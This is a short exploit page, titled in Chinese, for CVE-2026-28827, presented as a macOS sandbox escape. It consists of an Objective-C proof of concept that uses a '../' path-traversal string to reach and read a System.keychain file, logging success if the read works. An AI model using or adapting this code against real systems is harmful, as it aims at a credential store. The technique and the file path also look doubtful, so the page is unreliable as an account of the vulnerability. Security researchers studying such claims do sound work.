CVE-2026-28827 macOS沙箱逃逸漏洞

/* * PoC for CVE-2026-28827: macOS Sandbox Escape via Directory Path Parsing * Description: This code attempts to access a restricted file outside the sandbox * by exploiting the path validation logic. */ #import <Foundation/Foundation.h> int main(int argc, const char * argv[]) { @autoreleasepool { // Constructing a path that may bypass validation due to parsing issues NSString *bypassPayload = @"./../../../../../../../../private/var/root/System.keychain"; NSFileManager *fileManager = [NSFileManager defaultManager]; NSLog(@"Attempting to read restricted file using payload: %@", bypassPayload); if ([fileManager fileExistsAtPath:bypassPayload]) { NSLog(@"[+] Sandbox Escape Successful! File exists."); NSData *data = [NSData dataWithContentsOfFile:bypassPayload]; NSLog(@"[+] Data read: %lu bytes", (unsigned long)data.length); } else { NSLog(@"[-] Exploit failed or path does not exist."); } } return 0; }